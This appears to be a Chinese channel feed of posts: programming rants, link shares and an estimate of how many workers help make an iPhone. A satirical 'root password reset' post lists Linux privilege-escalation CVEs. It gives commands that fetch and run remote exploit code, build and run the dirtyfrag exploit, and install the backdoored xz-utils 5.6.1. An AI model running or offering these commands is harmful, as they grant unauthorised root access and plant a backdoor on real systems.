#statement 😅
我第一次听说AI（概率模型）有全站改密码的权限，还不区分prompt的role

现代的程序员都是些什么？Linux也有十几个内存安全，甚至NginX也有RCE问题

是不是和千年虫时期一样，初次跑通就行，世界末日在2000年零日？

完全没有常理和用户知识，简直还不如普通用户清楚场景和数据流

Rust就更搞笑了，CF宕机了两次

如果限制和Type nonsense（类型胡闹）就能解决问题，我的白页是最防攻击的。Rust的安全范式还不如CSP呢

写代码的数据流和场景感知能力垃圾，框架就垃圾，App就到处有问题。

我天天拼接裸HTML，非常清楚每个函数都是注入点。如果切到Rust要写100行代码，漏洞照样会被放着。教条主义洁净没蛋用。

差生文具多，正好是Next.js Flight RCE那种无病呻吟最恶心

#bash
2026 Linux 重置密码教程大全
- Dirty Cow (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- io_uring UAF (CVE-2022-2602)
- Copy Fail (CVE-2026-31431)
- io_uring ZCRX freelist (CVE-2026-43121)
- Dirty Frag (CVE-2026-43284 CVE-2026-43500)
- Fragnesia (CVE-2026-46300)
- https://depthfirst.com/nginx-rift 只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！

听说您在用高端网卡但忘记了您的 Root 密码？
听说您在用 MacBook？
听说您的 Web 服务器忘记放通 SSH 端口还没有 VNC 访问？
听说您又忘记了您的 SSH Private Key？
听说您的 Windows 11 电脑开了 BitLocker 还忘记了锁屏密码？

curl https://copy.fail/exp python3 && su
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh

傻逼C程序员以为自己次次都能纯手写迷你版GC，结果被真人机干爆。到底谁是法学博士呢？ 🦞 😅

#design #plt

😅 🤔 傻逼C程序员以为自己次次都能纯手写迷你版GC，结果被真人机干爆。到底谁是法学博士呢？

这是缺乏【编程经济学】的认知问题。难道CS有什么不需要IT的吗？ ShaderToy 和OJ就是所谓裸算法的【使用和编程的场景】

【站点/圈子】是一个常识，有常识，才能对【白页】的错误用法，以及正确数据流有感知，有泛化能力。出学院是自我感动。

没有一个程序，是 Alan Kay 没法打开F12活体调试的，除非CSer对框架没有追求，反而希望一遍一遍手写无意义的C。真牛人不仅只写一遍GC，还做的是图形编程语言，启发了Apple、Scratch和Bret

OOP的发明人就没有“写代码 - 编译 - 运行 - 崩溃 - 看log”这种自我感动的过度工程，人机行为，是比不过真人机的。真Dev就是 Ctrl-Shift-C，上文一确定，在日志断点里动态加代码，确认一遍，问题解决。真REPL不需要按Ctrl-S

余下的几个小时可以用来归纳出数据流和框架。高手是以【站点/圈子】为stdlib的，某个API的熟练度不算什么，工具的快捷键永远记不过7个

#os

我从来不会认为手搓bytes是C/C++的专利，人家不过是个语法自带（LINQ模式）的二进制读写器/零拷贝遍历和赋值。

它的FFI，就是裸ArrayBuffer(sizeof)和一堆寄存器排序+goto(call)而已，比Vue响应式列表还低能。syscall在json的清晰度面前算什么呢？

有不少方案是比语法级的字节<->变量名高效的，比如列数据库和numpy的AoS/SoA模式，它们不需要gcc或clang

准确的说，PEG元编程可能比C更懂裸数据结构。会看 Kaitai和tree-sitter 的比精通C11的更懂操作系统和数据库。

就是，一个连[]和{K:V,}实现都不统一，需要 PQexec;PQgetvalue; ini files 来模拟内存GC树、状态管理的编程风格，连【指着具体的表格写表达式】都难做到的，

这居然叫夯的编程语言？真是无法理解。就如同 Tk.Var 在几十年前就有CSS变量的模式，React今天还能创新什么

#dev 总结：会编码的人唐完了

从触摸屏的点击滑动，到 curl -XPOST 触发的C++分流器，到java代码，到PQ和libc实现（sched/vm/unshare）

都不认识OOP之父的设想，因为开发者的精力摸不清Hotspot在哪，都在为了无意义的轮子写demo，而不是反过来。

这就像早期把所有<1KB的唐诗列表计算发到PHP上，再折回JS一样，好像是不知道JS是可以处理文件保存与URL访问，甚至还能开jsLinux一样的。

把这个现象推到所有编程语言，就知道屎山是怎么来的

没错，早期form确实不需要开JS，但远水不解近渴是常识、远见。哪怕是今天把写时鉴权做一下，值得加那么多“后端” “exe/apk开发” “SSR”代码吗？真把文具数量当实力了。apk格式又怎么样？Chrome和WSL也有算力运行。

平台能算什么呢？如果数据不如json清晰，还不是无效优化。

b23.tv/BV1cRKpziEdR
那一天我终于明白了，除了重力什么还能在维度间传递……
哈基米反射的光线，竟然能逃脱黑洞的引力吗😨
曼波的波长是多少？哈基米吗🧐

Little Snitch Linux 版
原文：https://obdev.at/products/littlesnitch-linux/index.html
阅读时间：4 分钟
分数：1340 🔥🔥🔥

#c #algorithm https://psiace.me/zh/posts/master-python-fibonacci/

找 benny 帮我提了。。。benny 牛逼！
https://t.me/mikuri520/3530

有多少人参与 iPhone 的制作？

从 Apple 公司的 披露 内容来看，2025 年，Apple 有 400 家直接供应商，共计 140 万名员工。提供原料的冶炼和精炼厂总数有 230 多家，但这属于深层供应链，Apple 并没有统计这方面有多少人。

如果预估每家冶炼和精炼厂有 1000 人，那么这就是 23 万人左右。接下来是冶炼和精炼厂的提供商，即矿场的情况。很遗憾，Apple 并没有这方面的细节，那么只能大致估算了。

粗糙的算法是：Apple 需求 ÷ 全球每年某原料开采量 × 某原料从业者人数。不过 Apple 的需求是机密，又只能大致计算了：

比如计算给 iPhone 提供钴的从业者数量，先是每年 iPhone 的出货量约 2 亿台上下，每台 iPhone 的电池使用 8 克钴，计算出每年 iPhone 约使用 1600 吨钴。

然后 2024 年的全球钴原料产量约 27 万吨，那么 Apple 大约使用了 0.59 % 的钴从业者的人力。而钴矿集中在刚果民主共和国，这里的从业者有 15 ~ 20 万人。那么就有 885 ~ 1180 人为 iPhone 电池提供钴原料。

按照这个粗糙的公式估算黄金、钽、锡、锂、硅等原料后，iPhone 共需要 2.3 万人来采集原料。把原料采集者加上冶炼和精炼厂的 23 万人，再加上直接供应商的 140 万人，最后加上 Apple 公司的 16.6 万人中的负责 iPhone 的 2 万人左右（纯估算）。

那么 iPhone 大约会有 167.3 万人参与制作，不过如果是单台 iPhone，那么经手的人会降到 2.1 万左右的程度，其中 2 万多是 iPhone 的软硬件设计者，材料采集者在 100 人左右，零部件 100 左右，流水线组装有 300 人左右，运输有 50 人左右。

怎么说呢？算是另一视角下的规模效应吧，产量很小的时候，设计者就会占绝大多数，而生产者的数量很少。但当数量到达上亿的时候，生产者就会来到绝对的多数了。由于生产者的平均工资更低，所以大规模生产能让制作成本变低。

这也意味着，像 iPhone 这样的成本结构，当想要节省成本时，会优先考虑压低生产者方面的成本，而非设计者。但反过来说，一旦生产端的工资上涨，成本压力也是巨大的，这场全球化的游戏还能玩多少年呢？

附言：手机含有超过 70 到 75 种化学元素，这占元素周期表中的稳定元素的 84 %。这跟人体差不多，人体能被仪器检测到 76 种元素。（只是大部分都是意外被吸收到体内的无用甚至有毒的元素）

#杂谈